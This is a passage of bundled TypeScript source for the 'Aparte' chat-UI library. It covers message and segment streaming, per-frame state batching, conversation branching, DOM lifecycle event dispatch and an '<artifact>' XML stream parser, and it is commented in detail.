vp?.configure?.({ layoutTransitionMs: this.options.layoutTransitionMs });\n }\n\n this._installHostMethods(host);\n this._installLifecycleListeners(host);\n this._installViewportListeners();\n this._createController(host);\n\n return () => this.unbind();\n }\n\n unbind(): void {\n if (!this._bound) return;\n this._bound = false;\n this.stopTokenStream();\n for (const off of this._teardown.splice(0)) {\n try { off(); } catch { /* ignore */ }\n }\n this._unbindController?.();\n this._unbindController = undefined;\n this._controller = undefined;\n if (this.options.config) detachConfig(this.binding.host);\n }\n\n // ── streaming state ────────────────────────────────────────────────────\n\n get streamingId(): string | null { return this._streamingId; }\n get isStreaming(): boolean { return this._streamingId !== null; }\n\n /** The internally-managed conversation controller (created in {@link bind}). */\n get conversationController(): AparteConversationController | undefined {\n return this._controller;\n }\n\n /** Clear the bubble-render cache (e.g. when the host clears messages externally). */\n clearRenderCache(): void {\n this._renderedIds.clear();\n }\n\n private _setStreamingId(id: string | null): void {\n if (this._streamingId === id) return;\n this._streamingId = id;\n this.binding.onStreamingChange?.(id);\n }\n\n // ── conversation ───────────────────────────────────────────────────────\n\n /** Load / switch the active conversation via the controller. */\n setConversationId(id: string | null): Promise<void> {\n this._conversationId = id;\n return this._controller?.setConversationId(id) ?? Promise.resolve();\n }\n\n private _unbindController?: () => void;\n\n private _createController(host: HTMLElement): void {\n const convBinding: AparteChatBinding = {\n hostId: this.binding.hostId,\n host,\n // Controller-driven flushes mirror AparteConversationManager state, not\n // user intent — deliberately NOT emitted as `messagesChange` to\n // avoid a feedback loop with hosts using a two-way `messages` input.\n setMessages: (msgs) => {\n this._beginConversationSwap();\n this._vp()?.resetSpacer?.();\n this.binding.setMessages([...msgs]);\n },\n appendMessage: (msg) => this.appendMessage(msg),\n getMessages: () => this.binding.getMessages(),\n clearMessages: () => {\n this._beginConversationSwap();\n this.binding.setMessages([]);\n this._vp()?.clearAll?.();\n },\n exportTree: () => {\n this.syncRepoFromMessages();\n return this._vp()?.exportTree?.();\n },\n importTree: (tree) => { this._vp()?.importTree?.(tree); },\n };\n\n this._controller = new AparteConversationController(convBinding, {\n onConversationCreated: (id) => {\n this._conversationId = id;\n this.options.onConversationCreated?.(id);\n },\n });\n this._unbindController = this._controller.bind();\n void this._controller.setConversationId(this._conversationId);\n }\n\n /** Drop transient streaming state so a new conversation starts clean. */\n private _beginConversationSwap(): void {\n // Drop pending stream chunks: they belong to the conversation being left,\n // and its bubbles already show them.\n this._segmentBuffer.clear();\n this._tokenBuffer = null;\n this._flushStreamState();\n this.stopTokenStream();\n this._setStreamingId(null);\n this.binding.onTypingChange?.(false);\n this._renderedIds.clear();\n this.binding.resetComposer?.();\n }\n\n // ── host method surface (also installed on the host element) ───────────\n\n /**\n * Append a message optimistically (streaming writes target the new last).\n *\n * Deliberately does NOT call `onMessagesChange` (unlike the other mutations):\n * `setMessages` updates the wrapper's OWN render list, but `onMessagesChange`\n * is the OUTBOUND \"the user changed the list\" notification. During an\n * optimistic append the wrapper's local list can lag a controlled parent's\n * (the parent added a user message that hasn't propagated back yet), so\n * echoing the local list to the parent would overwrite the parent's\n * authoritative list and drop that message — a real race the Angular wrapper\n * spec guards (\"optimistic-append + parent-push race\"). `onMessageAppended`\n * is the append-specific signal instead.\n */\n appendMessage(message: AparteMessage): void {\n this._flushStreamState(); // the previous message's chunks land first\n if (message.role === 'user') this._vp()?.setAutoScroll?.(true);\n this.binding.setMessages([...this.binding.getMessages(), message]);\n this.binding.onMessageAppended?.(message);\n }\n\n /** Atomic partial update of a message by id. */\n updateMessage(messageId: string, updates: Partial<AparteMessage>): void {\n this._flushStreamState();\n const msgs = this.binding.getMessages();\n const index = msgs.findIndex((m) => m.id === messageId);\n if (index === -1) return;\n const next = [...msgs];\n next[index] = { ...next[index]!, ...updates };\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n // Immediate visual feedback for a status change (e.g. streaming class).\n if (updates.status) {\n this._bubbleById(messageId)?.updateMessage?.({ status: updates.status });\n }\n }\n\n /** Append/replace the last message content (streaming text). */\n updateLastMessage(content: string, options?: { append?: boolean }): void {\n if (options?.append) this.binding.onTypingChange?.(false);\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (!last) return;\n if (this._isOrphan(last.id)) return;\n const newContent = options?.append ? (last.content || '') + content : content;\n const next = [...msgs.slice(0, -1), { ...last, content: newContent }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Add a segment to the last message (immediate bubble + state sync). */\n addSegment(segment: AparteSegment): void {\n this._flushStreamState(); // buffered chunks belong before a new segment\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (last && this._isOrphan(last.id)) return;\n this.binding.onTypingChange?.(false);\n this._lastBubble()?.addSegment?.(segment);\n if (!last) return;\n const segments = [...(last.segments || []), segment];\n const next = [...msgs.slice(0, -1), { ...last, segments }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Update a segment in the last message in place. */\n updateSegment(segmentId: string, updates: Partial<AparteSegment>): void {\n this._flushStreamState(); // an update must not overwrite buffered text\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (last && this._isOrphan(last.id)) return;\n this._lastBubble()?.updateSegment?.(segmentId, updates);\n if (!last || !last.segments) return;\n const segments = last.segments.map((s) =>\n s.id === segmentId ? ({ ...s, ...updates } as AparteSegment) : s,\n );\n const next = [...msgs.slice(0, -1), { ...last, segments }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Remove a transient segment (e.g. pipeline-waiting indicator). */\n removeSegment(segmentId: string): void {\n this._flushStreamState();\n this._lastBubble()?.removeSegment?.(segmentId);\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (!last?.segments) return;\n const segments = last.segments.filter((s) => s.id !== segmentId);\n if (segments.length === last.segments.length) return;\n const next = [...msgs.slice(0, -1), { ...last, segments }];\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /**\n * Append text to a segment's content in the last message — the streaming path\n * for thinking blocks, tool pills and any segment that grows token by token.\n *\n * Two writes, deliberately asymmetric:\n * 1. straight into the bubble, every chunk, so the text appears immediately —\n * the same direct path `appendToken` uses;\n * 2. into the framework's message list, **coalesced to once per frame**.\n *\n * It used to do only (2), synchronously: a full list rebuild plus\n * `setMessages` + `onMessagesChange` for every chunk, i.e. one complete\n * framework render per token. At 60 tok/s from a local model that is unusable,\n * and nothing in the imperative API hinted that `appendToSegment` cost so much\n * more than `injectTokenStream`. Consumers had to write their own rAF batcher.\n *\n * Any structural change flushes the buffer first (see\n * {@link _flushStreamState}), so ordering is never observable.\n */\n appendToSegment(segmentId: string, content: string): void {\n const msgs = this.binding.getMessages();\n const last = msgs[msgs.length - 1];\n if (!last || !last.segments) return;\n if (this._isOrphan(last.id)) return;\n\n // (2a) Record where this batch starts — BEFORE the paint below, which writes\n // into the segment object the list shares. See {@link _segmentBuffer}.\n let buffered = this._segmentBuffer.get(segmentId);\n if (!buffered) {\n const segment = last.segments.find((s) => s.id === segmentId);\n const base = segment && 'content' in segment ? (segment as { content?: string }).content ?? '' : '';\n buffered = { base, text: '' };\n this._segmentBuffer.set(segmentId, buffered);\n }\n buffered.text += content;\n\n // (1) Immediate, per-chunk: the viewport writes into the bubble in place.\n this._vp()?.appendToSegment?.(last.id, segmentId, content);\n\n // (2b) Deferred, coalesced: one state sync per frame.\n this._scheduleStreamFlush();\n }\n\n /** Schedule the coalesced segment-state sync (idempotent within a frame). */\n private _scheduleStreamFlush(): void {\n if (this._flushHandle !== null) return;\n const run = () => {\n this._flushHandle = null;\n this._flushStreamState();\n };\n // rAF paces the sync with rendering; without it (SSR, jsdom without the\n // polyfill) fall back to a macrotask so the batching still happens.\n this._flushHandle = typeof requestAnimationFrame === 'function'\n ? requestAnimationFrame(run)\n : (setTimeout(run, 0) as unknown as number);\n }\n\n /**\n * Write every buffered stream chunk — segment chunks and {@link streamTokens}\n * text alike — into the framework's message list in **one** update. Called by\n * the scheduled frame, and eagerly by any mutation that would otherwise observe\n * a stale list (a new segment, a new message, a conversation swap): flushing\n * first keeps the emitted order identical to the call order.\n */\n private _flushStreamState(): void {\n if (this._flushHandle !== null) {\n if (typeof cancelAnimationFrame === 'function') cancelAnimationFrame(this._flushHandle);\n else clearTimeout(this._flushHandle);\n this._flushHandle = null;\n }\n const tokens = this._tokenBuffer;\n const pending = this._segmentBuffer.size > 0 ? new Map(this._segmentBuffer) : null;\n if (!tokens && !pending) return;\n this._tokenBuffer = null;\n this._segmentBuffer.clear();\n\n // Both channels fold into a single list, so a frame that carried tokens AND\n // segment chunks still costs the framework exactly one render.\n let msgs = this.binding.getMessages();\n let changed = false;\n\n if (tokens) {\n // By id, not \"the last message\": a manual stream keeps writing to its\n // own message even if something was appended after it.\n const index = msgs.findIndex((m) => m.id === tokens.messageId);\n if (index !== -1) {\n const next = [...msgs];\n next[index] = { ...next[index]!, content: (next[index]!.content ?? '') + tokens.text };\n msgs = next;\n changed = true;\n }\n }\n\n if (pending) {\n const last = msgs[msgs.length - 1];\n if (last?.segments) {\n const segments = last.segments.map((s) => {\n const buffered = pending.get(s.id);\n // Absolute, not `s.content + chunk`: `s` may be the object the\n // paint already appended to (they are shared), so adding the\n // chunk again is what doubled every chunk.\n return buffered !== undefined && 'content' in s\n ? ({ ...s, content: buffered.base + buffered.text } as AparteSegment)\n : s;\n });\n msgs = [...msgs.slice(0, -1), { ...last, segments }];\n changed = true;\n }\n }\n\n if (!changed) return;\n this.binding.setMessages(msgs);\n this.binding.onMessagesChange?.(msgs);\n }\n\n /** Read the current message list. */\n getMessages(): AparteMessage[] { return this.binding.getMessages(); }\n\n /** Clear all messages + reset viewport state. */\n clearMessages(): void {\n this._beginConversationSwap();\n this.binding.setMessages([]);\n this._vp()?.clearAll?.();\n }\n\n /** Create a new branch from a message (returns the new sibling index). */\n addBranch(messageId: string): number {\n this.syncRepoFromMessages();\n return this._vp()?.addBranch?.(messageId) ?? 0;\n }\n\n /** Add a sibling of an existing message (returns the new id). */\n addSiblingOf(existingId: string, newMessage: AparteMessage): string | null {\n this.syncRepoFromMessages();\n return this._vp()?.addSiblingOf?.(existingId, newMessage) ?? null;\n }\n\n /** Remove a message and all descendants (edit flow). */\n truncateFrom(messageId: string): void {\n this._vp()?.truncateFrom?.(messageId);\n const msgs = this.binding.getMessages();\n const idx = msgs.findIndex((m) => m.id === messageId);\n const next = idx >= 0 ? msgs.slice(0, idx) : msgs;\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n /** Keep up to and including a user message, drop later responses (retry). */\n truncateResponsesAfter(userMessageId: string): void {\n this._vp()?.truncateResponsesAfter?.(userMessageId);\n const msgs = this.binding.getMessages();\n const idx = msgs.findIndex((m) => m.id === userMessageId);\n const next = idx >= 0 ? msgs.slice(0, idx + 1) : msgs;\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n }\n\n // ── manual token streaming (agnostic core of injectTokenStream) ─────────\n\n /**\n * Drive a manual token stream into the viewport. Sets the streaming guard,\n * appends each token, completes the message at the end. Per-framework\n * wrappers adapt their native stream type (RxJS Observable, AsyncIterable,\n * ReadableStream) into this.\n *\n * Each token reaches the bubble immediately and the framework's message list\n * is synced **once per frame** (same discipline as {@link appendToSegment}),\n * with a guaranteed flush before completion and on abort. Before that sync\n * existed the two disagreed: the DOM had the reply, the framework list still\n * held `content: ''` — so any re-render from state wiped it, and a custom\n * bubble (which renders from that state) showed nothing at all.\n */\n async streamTokens(messageId: string, tokens: AsyncIterable<string>): Promise<void> {\n this.stopTokenStream();\n this._setStreamingId(messageId);\n const ac = new AbortController();\n this._streamAbort = ac;\n const iterator = tokens[Symbol.asyncIterator]();\n // Resolve as soon as the stream is aborted, so an IDLE source (e.g. the\n // Angular Observable→AsyncIterable adapter parked on a pending next())\n // still unwinds promptly: racing next() against this lets the loop break\n // and call iterator.return() — which unsubscribes — instead of leaving a\n // zombie subscription parked on a next() that never resolves.\n const aborted = new Promise<'aborted'>((resolve) => {\n if (ac.signal.aborted) { resolve('aborted'); return; }\n ac.signal.addEventListener('abort', () => resolve('aborted'), { once: true });\n });\n try {\n for (;;) {\n const res = await Promise.race([iterator.next(), aborted]);\n if (res === 'aborted' || ac.signal.aborted || res.done) break;\n this._vp()?.appendToken?.(messageId, res.value);\n this._bufferToken(messageId, res.value);\n }\n // The state must carry the text BEFORE the message is marked complete —\n // completion is a structural change, and a consumer reacting to it would\n // otherwise read a message that is finished and empty.\n this._flushStreamState();\n if (!ac.signal.aborted) this._vp()?.completeMessage?.(messageId);\n this._setStreamingId(null);\n } catch (err) {\n this._flushStreamState();\n this._setStreamingId(null);\n throw err;\n } finally {\n // On abort the source may still be mid-flight; return() triggers its\n // cleanup (generator finally / subscription teardown).\n if (ac.signal.aborted) { try { await iterator.return?.(); } catch { /* ignore */ } }\n if (this._streamAbort === ac) this._streamAbort = undefined;\n }\n }\n\n /**\n * Buffer a streamed token for the coalesced state sync. A different message id\n * (a second stream started without stopping the first) flushes the previous\n * one, so text never migrates between messages.\n */\n private _bufferToken(messageId: string, chunk: string): void {\n if (this._tokenBuffer && this._tokenBuffer.messageId !== messageId) this._flushStreamState();\n this._tokenBuffer = this._tokenBuffer\n ? { messageId, text: this._tokenBuffer.text + chunk }\n : { messageId, text: chunk };\n this._scheduleStreamFlush();\n }\n\n /** Abort an in-flight {@link streamTokens} loop. */\n stopTokenStream(): void {\n if (this._streamAbort) {\n this._streamAbort.abort();\n this._streamAbort = undefined;\n // Keep whatever was already streamed: the bubble shows it, so the state\n // must agree — an aborted turn is truncated, not erased.\n this._flushStreamState();\n this._setStreamingId(null);\n }\n }\n\n // ── reconciliation ─────────────────────────────────────────────────────\n\n /**\n * Reconcile rendered bubbles with the current message list. The framework\n * calls this from its reactive message-change hook after rendering; the\n * last message is always re-synced (streaming), others only once.\n */\n syncBubbles(): void {\n const msgs = this.binding.getMessages();\n msgs.forEach((message, index) => {\n const isLast = index === msgs.length - 1;\n if (this._renderedIds.has(message.id) && !isLast) return;\n const bubble = this._bubbleById(message.id);\n if (!bubble) return;\n populateBubbleFromMessage(bubble, message);\n this._renderedIds.add(message.id);\n });\n }\n\n /**\n * Rebuild the viewport's internal repo from the message list before branch\n * operations (streaming fills the framework state but not the repo).\n */\n syncRepoFromMessages(): void {\n const vp = this._vp();\n if (!vp) return;\n for (const msg of this.binding.getMessages()) {\n if (!vp.getMessage?.(msg.id)) {\n vp.appendMessage?.(msg);\n } else {\n const updates: Partial<AparteMessage> = {};\n if (msg.content !== undefined) updates.content = msg.content;\n if (msg.segments !== undefined) updates.segments = msg.segments;\n if (msg.status !== undefined) updates.status = msg.status;\n if (msg.usage !== undefined) updates.usage = msg.usage;\n if (Object.keys(updates).length > 0) vp.updateMessage?.(msg.id, updates);\n }\n }\n }\n\n private _applyPendingSiblings(): void {\n if (!this._pendingSiblings) return;\n const msgs = this.binding.getMessages();\n for (const sib of this._pendingSiblings) {\n if (sib.count <= 1) continue;\n const bubble = this._bubbleById(sib.id);\n if (!bubble) continue;\n const message = msgs.find((m) => m.id === sib.id);\n if (message) populateBubbleFromMessage(bubble, message, sib);\n }\n this._pendingSiblings = undefined;\n }\n\n // ── internals ──────────────────────────────────────────────────────────\n\n /** Orphan-stream guard: a stream is in flight but the last msg isn't it. */\n private _isOrphan(lastId: string): boolean {\n return this._streamingId !== null && lastId !== this._streamingId;\n }\n\n private _vp(): ViewportApi | null {\n return (this.binding.viewport as unknown as ViewportApi | null) ?? null;\n }\n\n private _bubbleById(id: string): StreamingBubble | null {\n const vp = this.binding.viewport;\n if (!vp) return null;\n return vp.querySelector(\n `aparte-chat-bubble[message-id=\"${cssEscape(id)}\"]`,\n ) as unknown as StreamingBubble | null;\n }\n\n private _lastBubble(): StreamingBubble | null {\n const vp = this.binding.viewport;\n if (!vp) return null;\n const all = vp.querySelectorAll('aparte-chat-bubble');\n return (all.length ? all[all.length - 1] : null) as unknown as StreamingBubble | null;\n }\n\n private _installHostMethods(host: Record<string, unknown>): void {\n // Bracket notation: these come from the index signature, and consumers\n // compiled with `noPropertyAccessFromIndexSignature` reject dot access.\n host['appendMessage'] = (m: AparteMessage) => this.appendMessage(m);\n host['updateMessage'] = (id: string, u: Partial<AparteMessage>) => this.updateMessage(id, u);\n host['updateLastMessage'] = (c: string, o?: { append?: boolean }) => this.updateLastMessage(c, o);\n host['addSegment'] = (s: AparteSegment) => this.addSegment(s);\n host['updateSegment'] = (id: string, u: Partial<AparteSegment>) => this.updateSegment(id, u);\n host['removeSegment'] = (id: string) => this.removeSegment(id);\n host['appendToSegment'] = (id: string, c: string) => this.appendToSegment(id, c);\n host['getMessages'] = () => this.getMessages();\n host['addBranch'] = (id: string) => this.addBranch(id);\n host['addSiblingOf'] = (id: string, m: AparteMessage) => this.addSiblingOf(id, m);\n host['truncateFrom'] = (id: string) => this.truncateFrom(id);\n host['truncateResponsesAfter'] = (id: string) => this.truncateResponsesAfter(id);\n }\n\n private _installLifecycleListeners(host: HTMLElement): void {\n const onStart = (e: Event) => {\n const d = (e as CustomEvent)?.detail as { messageId?: string } | undefined;\n if (d?.messageId) this._setStreamingId(d.messageId);\n };\n const onDone = (e: Event) => {\n this.binding.onTypingChange?.(false);\n this._setStreamingId(null);\n const d = (e as CustomEvent)?.detail as\n | { messageId?: string; usage?: AparteUsage }\n | undefined;\n if (!d?.messageId || !d.usage) return;\n const next = this.binding.getMessages().map((m) =>\n m.id === d.messageId ? { ...m, usage: d.usage } : m,\n );\n this.binding.setMessages(next);\n this.binding.onMessagesChange?.(next);\n this._bubbleById(d.messageId)?.setUsage?.(d.usage);\n };\n const onEnd = () => {\n this.binding.onTypingChange?.(false);\n this._setStreamingId(null);\n };\n host.addEventListener('aparte-message-start', onStart);\n host.addEventListener('aparte-message-done', onDone);\n host.addEventListener('aparte-message-error', onEnd);\n host.addEventListener('aparte-message-aborted', onEnd);\n this._teardown.push(() => {\n host.removeEventListener('aparte-message-start', onStart);\n host.removeEventListener('aparte-message-done', onDone);\n host.removeEventListener('aparte-message-error', onEnd);\n host.removeEventListener('aparte-message-aborted', onEnd);\n });\n }\n\n private _installViewportListeners(): void {\n const vp = this.binding.viewport;\n if (!vp) return;\n\n const onPathChanged = (e: Event) => {\n const evt = e as CustomEvent<ApartePathChangedEventDetail>;\n const incoming = evt.detail.messages as AparteMessage[];\n // New bubbles created by the framework's diff are empty; force a\n // full re-sync so segments/content land on the right elements.\n this._renderedIds.clear();\n // `usage` lives on the framework state (written by `aparte-message-done`)\n // and may not have reached the rebuilt path — carry it forward by id\n // so the stats popover survives every branch / retry / edit.\n const prev = this.binding.getMessages();\n const merged = incoming.map((m) => {\n if (m.usage !== undefined) return m;\n const old = prev.find((p) => p.id === m.id);\n return old?.usage !== undefined ? { ...m, usage: old.usage } : m;\n });\n this.binding.setMessages(merged);\n this.binding.onMessagesChange?.(merged);\n if (evt.detail.siblings.some((s) => s.count > 1)) {\n this._pendingSiblings = evt.detail.siblings;\n this.binding.afterRender(() => this._applyPendingSiblings());\n }\n };\n // capture=true fires before the viewport's own bubbling handler so the\n // repo is fresh when the navigate op reads it.\n const onBranchNavigate = () => this.syncRepoFromMessages();\n\n vp.addEventListener('aparte-path-changed', onPathChanged);\n vp.addEventListener('aparte-branch-navigate', onBranchNavigate, { capture: true });\n this._teardown.push(() => {\n vp.removeEventListener('aparte-path-changed', onPathChanged);\n vp.removeEventListener('aparte-branch-navigate', onBranchNavigate, { capture: true });\n });\n }\n}\n","/**\n * The DOM lifecycle dispatchers, once.\n *\n * These two functions existed TWICE — as private methods on `AparteClient` and as\n * module-level copies in `stream-adapter.ts` — one per streaming loop. That is not a\n * size problem, it is a correctness problem the repo has already paid for, and the\n * adapter copy's own JSDoc recorded the bill:\n *\n * the `targetId` stamp was missing from the adapter copy, and `aparte-composer`'s\n * `_isForThisComposer` treats an ABSENT `targetId` as \"for me\" — deliberately, so a\n * single-chat page needs no wiring. So on a two-chat page the engine path made\n * stopping chat A reset chat B's composer as well. Core's inline path had always\n * stamped it. The parity suite could not see it, because its recorder element has\n * no `id`: both paths produced `targetId: undefined` and agreed.\n *\n * A duplicate that has already drifted once will drift again, and the suite that\n * exists to catch divergence between the two loops is structurally blind to this\n * one. So there is one copy now, and both loops call it.\n *\n * ## Why the target is declared here\n *\n * `stream-adapter.ts` must import this module, so importing its `StreamAdapterTarget`\n * back would close a real cycle. The structural type below is the intersection both\n * callers satisfy: core's client passes an `HTMLElement`, the adapter passes its\n * duck-typed target, and neither needs anything else.\n */\nimport type { AparteArtifactSegment } from '../types/segments.js';\n\n/** Anything that can receive a DOM event and may carry an id. */\nexport interface AparteLifecycleTarget {\n readonly id?: string;\n dispatchEvent(event: Event): boolean;\n}\n\n/**\n * Dispatch one bubbling, composed lifecycle event, stamped with the target's id so\n * several chats on one page stay isolated — a composer reacts only to its own host's\n * turn, while an id-less single-instance page still broadcasts.\n *\n * The `typeof detail === 'object'` guard comes from the adapter copy and is kept\n * deliberately: it is a superset of the client copy's unconditional spread, so\n * unifying on it cannot change any existing call, and it is the only difference\n * between the two versions that was ever load-bearing.\n */\nexport function dispatchLifecycleEvent(\n target: AparteLifecycleTarget,\n name: string,\n detail: unknown,\n): void {\n const id = target.id || undefined;\n const stamped = detail && typeof detail === 'object'\n ? { targetId: id, ...(detail as Record<string, unknown>) }\n : detail;\n target.dispatchEvent(new CustomEvent(name, { bubbles: true, composed: true, detail: stamped }));\n}\n\n/**\n * Dispatch the artifact lifecycle: `aparte-artifact-start` once per segment id,\n * `aparte-artifact-delta` when the body actually grew, and `aparte-artifact-ready`\n * when `isFinal`. `progress` tracks the per-id length already broadcast, so a\n * re-render cannot replay a delta.\n *\n * The segment parameter is structural rather than `AparteArtifactSegment` because the\n * adapter builds its segments from stream events and never constructs the full type;\n * the import above keeps the two documented as the same thing.\n */\nexport function dispatchArtifactLifecycle(\n target: AparteLifecycleTarget,\n messageId: string,\n segment: Pick<AparteArtifactSegment, 'id'> & Partial<Pick<AparteArtifactSegment, 'content' | 'mimeType' | 'artifactType' | 'title'>>,\n progress: Map<string, number>,\n isFinal: boolean,\n): void {\n const id = segment.id;\n const content = segment.content ?? '';\n\n if (progress.get(id) === undefined) {\n target.dispatchEvent(new CustomEvent('aparte-artifact-start', {\n bubbles: true,\n composed: true,\n detail: {\n messageId,\n segmentId: id,\n mimeType: segment.mimeType,\n artifactType: segment.artifactType,\n title: segment.title,\n },\n }));\n progress.set(id, 0);\n }\n\n const lastLen = progress.get(id) ?? 0;\n if (content.length > lastLen) {\n target.dispatchEvent(new CustomEvent('aparte-artifact-delta', {\n bubbles: true,\n composed: true,\n detail: { segmentId: id, chunk: content.slice(lastLen) },\n }));\n progress.set(id, content.length);\n }\n\n if (isFinal) {\n target.dispatchEvent(new CustomEvent('aparte-artifact-ready', {\n bubbles: true,\n composed: true,\n detail: {\n messageId,\n segmentId: id,\n mimeType: segment.mimeType,\n artifactType: segment.artifactType,\n title: segment.title,\n content,\n },\n }));\n }\n}\n","/**\n * The Claude-style `<artifact>` XML streamer: scans one text delta for\n * `<artifact …>` / `</artifact>`, routes chat text through the text parser and\n * artifact content into a dedicated artifact segment, and holds back a tag split\n * across deltas.\n *\n * TWIN: `packages/engine/src/agent/parsers/artifact-xml-state-machine.ts`. Core\n * cannot import engine's copy — engine peer-depends on core — so the two are\n * maintained by hand, and the parity suite asserts the same cases on both sides.\n * A fix applied to one twin and not the other is this repo's most repeated bug,\n * which is the reason this is a file: the two used to cite each other by line\n * number into a 2324-line module, and four of those citations had rotted onto\n * unrelated code — one of them in the published docs.\n *\n * It sits outside `AparteClient` because it never belonged inside it. It touches\n * `this` zero times: the state it mutates is owned by its caller and passed in.\n */\nimport { AparteStreamParser, deriveArtifactKind } from '../parsers/aparte-stream-parser.js';\nimport { dispatchArtifactLifecycle, type AparteLifecycleTarget } from './lifecycle-events.js';\nimport { uuid } from '../utils/uuid.js';\nimport type { AparteSegment, AparteArtifactSegment } from '../types/index.js';\nimport type { AparteArtifactHint } from '../types/chat.js';\n\n/**\n * What the feeder needs of a render target: the two segment writers it calls, plus\n * whatever `dispatchArtifactLifecycle` needs.\n *\n * Deliberately an intersection of the members actually used, rather than an import\n * of the client's own `AparteChatTargetElement`: that import would close a cycle,\n * and hand-copying the interface would fork it a second time — `StreamAdapterTarget`\n * is the first fork and it already drifted (it has `setUsage` and no\n * `appendMessage`).\n */\n/**\n * An artifact under this many lines renders inline rather than as a card. One\n * product decision, and it used to be three bare `15`s in core against a single\n * named constant in the engine twin — the move that put both XML sites in this\n * file is what made naming it unavoidable rather than tidy. The third core site\n * (`artifactRaw finalize`, in `_streamLoop`) is a different pathway and still\n * carries its own literal.\n */\nconst INLINE_MAX_LINES = 15;\n\nexport type XmlArtifactFeedTarget = AparteLifecycleTarget & {\n addSegment?(segment: AparteSegment): void;\n updateSegment?(segmentId: string, updates: Partial<AparteSegment>): void;\n};\n\nconst XML_OPEN_TAG = '<artifact';\n/**\n * Length of the longest suffix of text that is a PROPER prefix of the artifact\n * open tag (0 when there is none). The angle bracket and the tag name are\n * separate tokens in most vocabularies, so a delta ending mid-tag is routine;\n * without this the fragment is emitted as chat text and the artifact loses its\n * whole lifecycle.\n *\n * Mirrors partialOpenTagLength in the engine artifact-xml state machine.\n */\nfunction partialXmlOpenTagLength(text: string): number {\n const max = Math.min(text.length, XML_OPEN_TAG.length - 1);\n for (let k = max; k > 0; k--) {\n if (text.endsWith(XML_OPEN_TAG.slice(0, k))) return k;\n }\n return 0;\n}\n\n/** Mutable state for streaming a Claude-style `<artifact>` XML block out of the\n * text stream — owned by the caller's stream loop, fed one delta at a time. */\nexport interface XmlArtifactStreamState {\n state: 'normal' | 'scanning' | 'in-artifact';\n scanBuf: string;\n closeBuf: string;\n segId: string | null;\n content: string;\n mime: string;\n kind: string;\n title: string;\n}\n\n/**\n * Feed one text delta to the Claude-style `<artifact>` XML streamer. Scans for\n * `<artifact …>` / `</artifact>`, routing chat text through the text parser and\n * artifact content into a dedicated artifact segment (handling tags split across\n * deltas). Mutates `xml` in place.\n */\nexport function feedXmlArtifactDelta(\n delta: string,\n xml: XmlArtifactStreamState,\n ctx: {\n targetElement: XmlArtifactFeedTarget;\n messageId: string;\n textParser: AparteStreamParser;\n streamingSegmentIds: Set<string>;\n artifactProgress: Map<string, number>;\n artifactXmlHint: AparteArtifactHint;\n },\n): void {\n const { targetElement, messageId, textParser, streamingSegmentIds, artifactProgress, artifactXmlHint } = ctx;\n let remaining = delta;\n\n // One emitter for chat text, used by all three exits below. There used to\n // be two near-copies of this, and the back-out path added by the\n // partial-tag fix would have made a third.\n //\n // `syncActive` is the one difference between those copies, and it is\n // LOAD-BEARING rather than drift, which the engine parity suite proved:\n // the text-before-an-opening-tag path must NOT flush its still-growing\n // segment, or core emits the text segment before the artifact while\n // `runStreamAgent` still emits the artifact first — a visible divergence in\n // the call sequence the two loops are contracted to share.\n //\n // Flushing early is arguably the better UX (the prose appears as it\n // arrives rather than after the artifact card). That is a deliberate change\n // to a streamed call order, with the engine side to match: a decision of\n // its own, not a side effect of removing a duplicate.\n const emitChatText = (text: string, syncActive = true): void => {\n if (!text) return;\n const r = textParser.parse(text);\n for (const seg of r.segments) {\n if (!streamingSegmentIds.has(seg.id)) {\n targetElement.addSegment?.(seg);\n streamingSegmentIds.add(seg.id);\n } else if ('content' in seg) {\n targetElement.updateSegment?.(seg.id, { content: (seg as { content?: string }).content });\n }\n }\n // The active segment is always CONSULTED (the imperative fallback below\n // must not fire while one is growing) but only EMITTED when the caller\n // says so. Getting that distinction wrong is what produced a spurious\n // `typeName` call and broke parity a second time.\n const active = textParser.getState().activeSegment;\n if (syncActive && active) {\n if (!streamingSegmentIds.has(active.id)) {\n targetElement.addSegment?.(active);\n streamingSegmentIds.add(active.id);\n } else {\n targetElement.updateSegment?.(active.id, { content: (active as { content?: string }).content });\n }\n } else if (!r.segments.length && !active) {\n // Nothing: see the note on the other feeder. The parser is holding\n // an ambiguous prefix, and writing it here duplicated it into\n // `message.content`, which history preferred over the segments.\n }\n };\n\n while (remaining.length > 0) {\n if (xml.state === 'normal') {\n const tagStart = remaining.indexOf(XML_OPEN_TAG);\n if (tagStart === -1) {\n // No whole tag - but the delta may END on a piece of one.\n const held = partialXmlOpenTagLength(remaining);\n if (held > 0) {\n // `false` for the same reason as the whole-tag branch below:\n // flushing here puts the prose BEFORE the artifact card while\n // the runner still emits it after. Reintroduced right next to\n // the comment explaining it.\n emitChatText(remaining.slice(0, remaining.length - held), false);\n xml.scanBuf = remaining.slice(remaining.length - held);\n xml.state = 'scanning';\n } else {\n emitChatText(remaining);\n }\n remaining = '';\n } else {\n // Emit chat text before the opening tag — WITHOUT flushing the\n // active segment (see `syncActive` above; the parity suite pins it).\n emitChatText(remaining.slice(0, tagStart), false);\n // The tail goes through `remaining`, NOT into `scanBuf`.\n //\n // Parking it in `scanBuf` and clearing `remaining` ended the\n // `while` loop immediately, so a complete\n // `<artifact …>…</artifact>` arriving in ONE delta was never\n // processed: no artifact segment, no lifecycle events, and the\n // prose AFTER the closing tag was silently dropped as well. The\n // finalize block only flushes `state === 'in-artifact'`, so\n // `scanning` was a dead end.\n //\n // The `scanning` state already knows how to resume (it accumulates\n // `remaining` and hands the tail back after `>`), so it just had to\n // be allowed to run. Reachable from a non-SSE `AparteBackendTransport`,\n // a buffering provider, or `injectTokenStream`; the parity suite's\n // scenario split the tag across two deltas and stepped right past it.\n xml.scanBuf = '';\n remaining = remaining.slice(tagStart);\n xml.state = 'scanning';\n }\n } else if (xml.state === 'scanning') {\n // Accumulate until we 